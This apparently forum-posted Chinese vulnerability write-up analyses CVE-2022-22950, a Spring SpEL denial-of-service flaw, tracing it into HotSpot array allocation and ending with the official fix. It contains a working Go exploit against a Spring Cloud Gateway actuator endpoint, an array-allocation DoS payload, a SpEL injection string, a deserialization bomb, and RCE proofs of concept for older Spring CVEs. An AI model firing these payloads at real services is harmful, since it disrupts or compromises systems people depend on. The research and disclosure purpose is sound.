前言:此文与最近传出的Spring 0day并不是同一个漏洞,只是一个鸡肋洞

今天Spring核心框架爆出拒绝服务漏洞:CVE-2022-22950

由于SpringJava中的地位超然,该漏洞会影响到几乎所有的Spring系列组件,例如常见的SpringBootSpringCloud

但也不用担心,因为并不是通杀,而是一种潜在的漏洞,利用门槛高,需要可以执行SPEL并可控

值得注意的是:安全的SimpleEvaluationContext同样存在拒绝服务漏洞

于是写了一篇水文

  • 如何发现该漏洞(思路分享)
  • 浅谈基本原理(原理比较简单)
  • 深入分析底层原理的坑
  • 该漏洞如何利用(直接利用和拓展利用)
  • 修复方法以及思考总结

0x00 漏洞介绍

前段时间在研究三梦师傅的文章:一种普遍存在于java系统的缺陷 - Memory DoS

写了一篇 跟着三梦学Java安全 文章,内容是如何半自动检测三梦师傅提到的几种漏洞

  • Pattern.matches造成的DoS(又称ReDoS)

  • 循环参数可控造成耗尽CPU导致DoS

  • 数组初始化容量参数可控通过OOM导致DoS

经过一段时间的学习与实践,发现了不少的Memory DoS漏洞(称之为缺陷更合适一些)

虽然很多组件或平台给拒绝服务(DENY OF SERVICE)漏洞至少中危,甚至高危,但该漏洞大部分情况下是鸡肋洞,没有太多的实际利用价值,称之为垃圾洞也不为过。不过如果TomcatSpring这种大范围使用的框架存在低门槛的拒绝服务漏洞,也会有比较严重的后果。这次Spring核心框架的拒绝服务漏洞有较高的门槛,并不能通杀所有的Spring应用

一位大佬曾经说过:赚钱的业务,不怕信息泄露,也不怕你RCE,只怕你把它打挂了

0x01 如何发现

三月初爆出了Spring Cloud GatewayRCE漏洞,简单分析发现依旧是Spring Expression模块的问题

参考去年底Apache Log4j2出现著名的RCE漏洞后,爆出两个拒绝服务漏洞,所以我想从SPEL本身来分析是否存在DOS

官方的修复代码: Spring Cloud Gateway 修复

当使用StandardEvaluationContextSPEL允许执行恶意代码例如T(java.lang.Runtime).getRuntime()

if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
    // 修复前
    StandardEvaluationContext context = new StandardEvaluationContext();
    // 修复后
    GatewayEvaluationContext context = new GatewayEvaluationContext(new BeanFactoryResolver(beanFactory));
    // ...
}

context的方法都是基于delegate对象的,注意到这是SimpleEvaluationContext

class GatewayEvaluationContext implements EvaluationContext {
    private SimpleEvaluationContext delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    // ...
}

使用SimpleEvaluationContextSpEL无法调用Java类对象或引用bean

在历史上,一些曾经出现过的SpEL漏洞大部分采用了该context做修复,修复后确实无法RCE

但使用了SimpleEvaluationContext后是否让SpEL达到了绝对的安全

于是我翻阅SpEL官方文档,查询是否有其他漏洞的可能性,首先发现了正则匹配,下面是文档介绍

// evaluates to true
boolean trueValue = 
     parser.parseExpression("'5.00' matches '^-?\\d+(\\.\\d{2})?$'").getValue(Boolean.class);

尝试修改为ReDoSPayload测试

SpelExpressionParser parser = new SpelExpressionParser();
String payload = "'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab' matches '(a|aa)+'";
Expression expr = parser.parseExpression(payload);
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Object o = expr.getValue(context);

发现并不会产生拒绝服务,报错Pattern access threshold exceeded

分析Spring代码后发现已对此问题做了处理

private static class AccessCount {
    private int count;
    public void check() throws IllegalStateException {
        // PATTERN_ACCESS_THRESHOLD = 1000000;
        if (this.count++ > PATTERN_ACCESS_THRESHOLD) {
            throw new IllegalStateException("Pattern access threshold exceeded");
        }
    }
}

继续阅读文档,发现支持数组创建

int[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context); 
// Array with initializer
int[] numbers2 = (int[]) parser.parseExpression("new int[]{1,2,3}").getValue(context); 
// Multi dimensional array
int[][] numbers3 = (int[][]) parser.parseExpression("new int[4][5]").getValue(context);

其实看过三梦师傅文章的话,稍微分析代码后,即可发现漏洞

public static void main(String[] args) {
    long startTime = System.currentTimeMillis();
    Runtime.getRuntime().addShutdownHook(new Thread(() -> {
        long endTime = System.currentTimeMillis();
        // 统计时间:耗时5-10秒
        System.out.println("cost: " + (endTime - startTime) / 1000 + " s"); }));
    SpelExpressionParser parser = new SpelExpressionParser();
    // OOM
    // 这样写Payload是有原因的,并不是随便写
    Expression expr = parser.parseExpression("new int[1024*1024*1024][2]");
    SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    expr.getValue(context);
}

以上代码将导致OOM(堆内存耗尽)并耗尽CPU以实现拒绝服务

无论使用危险的StandardEvaluationContext或者安全的SimpleEvaluationContext再或者使用修复后的GatewayEvaluationContext这三种情况,只要SPeL可控那么就存在拒绝服务漏洞

注意:

漏洞基本原理简单,但我为什么我要用new int[1024*1024*1024][2]这样的Payload

而不是new int[0x7fffffff](0x7fffffff是int型最大值)

我会在0x03 深入原理中分析,涉及到JVM的一些C++代码

0x02 直接利用

遗憾,这个Spring的拒绝服务漏洞有一定的门槛,需要可控SPEL能够执行

该漏洞的发现源于Spring Cloud Gateway所以就先拿这个测试

利用某师傅 Github环境 并修改Spring Cloud Gateway到最新版来测试(3.1.1已修复RCE

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
    <version>3.1.1</version>
</dependency>

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-gateway-server</artifactId>
    <version>3.1.1</version>
</dependency>

使用Golang编写针对于该环境的Exp

package main

import (
    "fmt"
    "net/http"
    "os"
    "os/signal"
    "strings"
)

func main() {
    client := &http.Client{}
    url := "http://127.0.0.1:8080/actuator/gateway/routes/first_route"
    contentType := "application/json"
    body := `{
    "id": "first_route",
    "predicates": [
    {
      "name": "Cookie",
      "args": {
        "_genkey_0": "#{new int[1024*1024*1024][2]}",
        "_genkey_1": "mycookievalue"
      }
    }
    ],
    "filters": [],
    "uri": "https://www.uri-destination.org",
    "order": 0
    }`
    resp, _ := client.Post(url, contentType, strings.NewReader(body))
    fmt.Println(resp.StatusCode)
    // 简单发送几个请求
    for i := 0; i < 10; i++ {
        go client.Post("http://127.0.0.1:8080/actuator/gateway/refresh", "application/json", nil)
    }
    c := make(chan os.Signal)
    signal.Notify(c, os.Interrupt, os.Kill)
    <-c
}

效果:无法提供服务

在JVM监控中看到堆内存被拉满且CPU使用率直线上升

并且我的笔记本也被打满了

0x03 深入原理

当使用new int[0x7fffffff]时可以发现CPU和堆内存并没有明显的变化(相对于上图而言)

发现同样是OOM但实际上会有两种OOM所以下文主要分析这两种OOM的原理

  • Java Heap Space(影响到CPU和堆内存的OOM)
  • Requested array size exceeds VM limit(并没有很大影响的OOM)

分析Spring的源码可以跟到JDK的代码

java.lang.reflect.ArraynewInstance方法如果参数可控会造成OOM

// 普通数组
int[] simpleArray = (int[]) Array.newInstance(int.class, 100);
// 多维数组
int[][] dimArray = (int[][]) Array.newInstance(int.class, new int[]{100, 200});

发现底层是native方法

private static native Object multiNewArray(Class<?> componentType,
                                           int[] dimensions)
    throws IllegalArgumentException, NegativeArraySizeException;

native方法对应的C++代码(来自openjdk-8HotSpot部分代码)

  1. 判断类型、维度、每个维度的长度是否合法
  2. 如果是基本数据类型数组(例如int)则直接构造对应的数组
  3. 如果不是基本类型,不关心
  4. 最后根据目标类型和维度,初始化数组,并分配内存
arrayOop Reflection::reflect_new_multi_array(oop element_mirror, typeArrayOop dim_array, TRAPS) {
  // 目标类型不能为空
  if (element_mirror == NULL) {
    // 否则抛出NPE
    THROW_0(vmSymbols::java_lang_NullPointerException());
  }
  // 目标维度
  int len = dim_array->length();
  // 搜索源码发现维度MAX_DIM最大限制为255
  if (len <= 0 || len > MAX_DIM) {
    // 否则抛出IllegalArgumentException
    THROW_0(vmSymbols::java_lang_IllegalArgumentException());
  }
  // 一个空int数组用于表示:每个维度的长度
  jint dimensions[MAX_DIM];
  for (int i = 0; i < len; i++) {
    // 每个维度的长度
    int d = dim_array->int_at(i);
    if (d < 0) {
      // 负数抛出NegativeArraySizeException
      // 这里没有判断最大值,因为超过Integer.MAX_VALUE溢出后一定是负数
      THROW_0(vmSymbols::java_lang_NegativeArraySizeException());
    }
    // 设置每个维度的长度
    dimensions[i] = d;
  }
  // 最终返回的类
  Klass* klass;
  // 最终维度
  int dim = len;
  // 判断是否基本数据类型
  if (java_lang_Class::is_primitive(element_mirror)) {
    // 得到基本数据类型的数组对象(代码在下方)
    klass = basic_type_mirror_to_arrayklass(element_mirror, CHECK_NULL);
  } else {
    // ...
  }
  // 对象转换(代码在下方)
  klass = klass->array_klass(dim, CHECK_NULL);
  // 分配内存(代码在下方)
  oop obj = ArrayKlass::cast(klass)->multi_allocate(len, dimensions, CHECK_NULL);
  return arrayOop(obj);
}

basic_type_mirror_to_arrayklass函数代码:根据基本类型获得TypeArrayKlass对象

Klass* Reflection::basic_type_mirror_to_arrayklass(oop basic_type_mirror, TRAPS) {
  // 得到基本类型
  BasicType type = java_lang_Class::primitive_type(basic_type_mirror);
  if (type == T_VOID) {
    // 不支持VOID数组
    THROW_0(vmSymbols::java_lang_IllegalArgumentException());
  } else {
    // 根据基本类型返回初始化的对象(未分配内存)
    return Universe::typeArrayKlassObj(type);
  }
}

klass.hpp中看到array_klass的虚函数,因此查找子类的array_klass_impl函数

Klass* array_klass(TRAPS)                   {  return array_klass_impl(false, THREAD); }
protected:
    virtual Klass* array_klass_impl(bool or_null, TRAPS);

不难看出上文是typeArrayKlass对象,这里面的实现比较复杂,省略了其中的代码

大致的逻辑是将TypeArrayKlass对象转为ObjArrayKlass对象(期间并未分配内存)

Klass* TypeArrayKlass::array_klass_impl(bool or_null, TRAPS) {
  return array_klass_impl(or_null, dimension() +  1, THREAD);
}

Klass* TypeArrayKlass::array_klass_impl(bool or_null, int n, TRAPS) {
    // ......
    // TypeArrayKlass -> ObjArrayKlass
}

此时的klass对象是ObjArrayKlass对象,所以multi_allocate找到以下代码,写的比较巧妙

// 此时的rank是目标维度
// 此时的sizes是每个维度的长度数组
// 第三个参数无关
oop ObjArrayKlass::multi_allocate(int rank, jint* sizes, TRAPS) {
  // 指向第0个元素
  int length = *sizes;
  KlassHandle h_lower_dimension(THREAD, lower_dimension());
  // 分配内存(代码在下方)
  objArrayOop array = allocate(length, CHECK_NULL);
  objArrayHandle h_array (THREAD, array);
  // 如果是一维数组则直接返回,高维才会继续
  if (rank > 1) {
    // length是某维度的长度
    if (length != 0) {
      // 注意该for循环,会在后文提到
      for (int index = 0; index < length; index++) {
        // 猜测是保存低维和高维数组的缓存,优化作用(与我们分析的目的无关)
        ArrayKlass* ak = ArrayKlass::cast(h_lower_dimension());
        // 递归本方法(维度减一)以对应维度长度分配内存(取数组第二个元素因为后文会移位)
        oop sub_array = ak->multi_allocate(rank-1, &sizes[1], CHECK_NULL);
        // 保存执行结果
        h_array->obj_at_put(index, sub_array);
      }
    } else {
      for (int i = 0; i < rank - 1; ++i) {
        // 指针根据当前维度移位以继续递归
        sizes += 1;
      }
    }
  }
  return h_array();
}

可以看到分配内存的函数为allocate

objArrayOop ObjArrayKlass::allocate(int length, TRAPS) {
  // length是每个维度的长度
  if (length >= 0) {
    if (length <= arrayOopDesc::max_array_length(T_OBJECT)) {
      int size = objArrayOopDesc::object_size(length);
      KlassHandle h_k(THREAD, this);
      // 真正的分配内存(代码在下方)
      return (objArrayOop)CollectedHeap::array_allocate(h_k, size, length, CHECK_NULL);
    } else {
      // 超过长度则抛出OOM(Requested array size exceeds VM limit)
      report_java_out_of_memory("Requested array size exceeds VM limit");
      JvmtiExport::post_array_size_exhausted();
      THROW_OOP_0(Universe::out_of_memory_error_array_size());
    }
  } else {
    THROW_0(vmSymbols::java_lang_NegativeArraySizeException());
  }
}

在分配堆内存之前,如果某维度数组长度大于某个值(有尝试跟过max_length函数发现比较麻烦)则会出现Requested array size exceeds VM limit报错,但实际上还没有分配内存所以不影响CPU和堆内存,谈不上真正的拒绝服务

oop CollectedHeap::array_allocate(KlassHandle klass,
                                  int size,
                                  int length,
                                  TRAPS) {
  // ...
  HeapWord* obj = common_mem_allocate_init(klass, size, CHECK_NULL);
  return (oop)obj;
}

跟踪array_allocate最终到common_mem_allocate_noinit函数,先分配了内存,然后才会产生Java heap spaceOOM

HeapWord* CollectedHeap::common_mem_allocate_noinit(KlassHandle klass, size_t size, TRAPS) {
  bool gc_overhead_limit_was_exceeded = false;
  // 分配内存
  result = Universe::heap()->mem_allocate(size,
                                          &gc_overhead_limit_was_exceeded);
  // 分配成功的情况直接返回
  if (result != NULL) {
    // ...
    return result;
  }
  // 分配失败情况下会抛出两种OOM
  if (!gc_overhead_limit_was_exceeded) {
    report_java_out_of_memory("Java heap space");
    // ...
    // 抛出Java heap space的OOM
    THROW_OOP_0(Universe::out_of_memory_error_java_heap());
  } else {
    report_java_out_of_memory("GC overhead limit exceeded");
    // ...
    // 抛出GC overhead limit exceeded的OOM(GC过于频繁的OOM)
    THROW_OOP_0(Universe::out_of_memory_error_gc_overhead_limit());
  }
}

到这里疑问就解答了:为什么我不写成new int[0x7fffffff]

因为拒绝服务需要的是Java heap spaceOOM而不是Requested array size exceeds VM limit

new int[0x7fffffff]allocate函数中会走抛出异常的分支而不是分配内存,所以虽OOM但没有影响到内存

new int[1024*1024*1024][2]的写法,每一个维度都可以通过allocate方法的长度检测,成功分配内存

这个最大长度arrayOopDesc::max_array_length无法直观地看出,至少在0x7fffffff附近会超过,在1G左右没有问题

而一维[1024*1024*1024]会导致以下for循环的length为10亿,也就是说执行了10亿次某代码,以耗尽CPU

for (int index = 0; index < length; index++) {
    ArrayKlass* ak = ArrayKlass::cast(h_lower_dimension());
    oop sub_array = ak->multi_allocate(rank-1, &sizes[1], CHECK_NULL);
    h_array->obj_at_put(index, sub_array);
}

结论:

  • 真正分配内存前数组长度如果过大会抛出Requested array size exceeds VM limit的OOM
  • 真正分配内存后由于数组对象过大会抛出Java heap space的OOM
  • 写成二维数组是为了让for循环执行10亿(1024*1024*1024)次以耗尽CPU
  • 导致Requested array size exceeds VM limit的具体长度限制待分析,无法直接确认

0x04 拓展原理

在文章 Java反序列化机制拒绝服务的利用与防御 中提到一种类似的拒绝服务

在JDK反序列化的流程中,同样使用到了Array.newInstance用来创建数组,而第二个int参数可控导致反序列化时候OOM达到拒绝服务的效果。上面这篇文章以及 反序列化炸弹 文章中提到一种巧妙的序列化数据构造方式,简短的序列化数据在反序列化的过程中会产生大量的数据。该攻击基于java.util.Set类实现

// 反序列化炸弹
Set<Object> root = new HashSet<>(); 
Set<Object> s1 = root; 
Set<Object> s2 = new HashSet<>(); 
for(int i=0;i<100;i++){ 
    Set<Object> t1 = new HashSet<>(); 
    Set<Object> t2 = new HashSet<>(); 
    t1.add("foo"); 
    s1.add(t1); 
    s1.add(t2); 
    s2.add(t1); 
    s2.add(t2); 
    s1=t1; 
    s2=t2; 
} 
ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
ObjectOutputStream oos = new ObjectOutputStream(baos); 
oos.writeObject(root); 
byte[] data = baos.toByteArray();

例如Spring-AMQPRCE修复方式是限制反序列化目标类必须为java.utiljava.lang开头,也许有操作空间。反序列化炸弹来源于《Effective Java》的第12章:Github链接

我向多个组件报告了类似的反序列化拒绝服务,并得到认可和致谢,坐等CVE中

当我查看Spring-AMQP官方通告 CVE-2021-22097 发现r00t4dm大佬已经想到了类似的方式,不过并不是利用java.util.Set炸弹,而是用java.util.Dictionary这个类,也许有更大的通用性

0x05 拓展利用

(1)Spring Cloud Function RCE

就近原则,第一想到的是上周五爆出的SPEL导致的RCE

借用网上师傅的图片,可以看出是从请求头中获取spring.cloud.function.routing-expression值并执行

不难推出POC

POST / HTTP/1.1
...
spring.cloud.function.routing-expression: SPEL

修复方案是SimpleEvaluationContext并不能防止拒绝服务

private final SimpleEvaluationContext headerEvalContext = SimpleEvaluationContext
    .forPropertyAccessors(DataBindingPropertyAccessor.forReadOnlyAccess()).build();

(2)CVE-2018-1273

Spring Data Commons中支持字段加[]的方式获取属性值,但需要fuzz确定controller中的方法名

POST /api HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name[T(java.lang.Runtime).getRuntime().exec("calc")]

官方的修复如下,该拒绝服务漏洞有效,不清楚最新版本如何,曾经的修复版本可用

// 使用SimpleEvaluationContext是存在拒绝服务漏洞的
EvaluationContext context = SimpleEvaluationContext 
                    .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) //
                    .withConversionService(conversionService) 
                    .withRootObject(map) 
                    .build();
Expression expression = PARSER.parseExpression(propertyName);

(3)CVE-2018-1270 & CVE-2018-1275

Spring Websocket的一个RCE,自定义以下的前端代码,指定selector字段可以RCE

function connect() {
    var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        },header);
    });
}

官方的修复同样是使用了SimpleEvaluationContext

(4)其他利用

曾经爆出来由SpEL导致的RCE漏洞并不止两三个,凡是采用了SimpleEvaluationContext修复的都存在拒绝服务漏洞

也有部分漏洞的修复方案对表达式内容做了限制:例如不允许数字和特殊符号(也许可以绕过?值得思考)

并不只是Spring系列框架使用了SpEL表达式,例如Apache Camel也使用到了,也许存在这样的问题

(5)注入

发现在SpEL中存在类似SQL注入的手段

情景:某个功能允许用户输入一个字符串,然后进行正则判断输入是否合法(常见的功能)

Expression expr = parser.parseExpression("'" + input + "' matches '\\d'");
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
expr.getValue(context);

如果该功能使用了SpEL来做那么可以注入

String input = "' - new int[1024*1024*1024][1024*1024*1024] - '";

使用'- [payload] - '即可注入拒绝服务的Payload

实际上语句是这样:'' - [payload] - '' matches '\\d'

其中的-是操作符号,将''[payload]进行运算,虽然最终会报错,但实际上会执行Payload内容

0x06 修复方式

官方的修复参考:https://github.com/spring-projects/spring-framework/commit/83ac65915871067c39a4fb255e0d484c785c0c11

private static final int MAX_ARRAY_ELEMENTS = 256 * 1024; // 256K
// ...
private void checkNumElements(long numElements) {
    if (numElements >= MAX_ARRAY_ELEMENTS) {
        throw new SpelEvaluationException(getStartPosition(),
                                          SpelMessage.MAX_ARRAY_ELEMENTS_THRESHOLD_EXCEEDED, MAX_ARRAY_ELEMENTS);
    }
}

修复方案很简单:限制长度,不过要区分一维数组和多维数组情况

用户和其他依赖框架的修复方案:

  • 依赖Spring Framework的情况仅更新Spring5.3.17即可
  • SpringBoot用户仅更新SpringBoot2.6.5即可

0x07 思考总结

通过这个漏洞,可以学到这样的思想

  • 多看官方文档,一般也想不到SpEL里能初始化数组
  • 每次爆出新漏洞,应该多加关注,尝试找绕过或者其他的漏洞
  • 坚持学习,跟着前辈的路线
点击收藏 | 0 关注 | 4
登录 后跟帖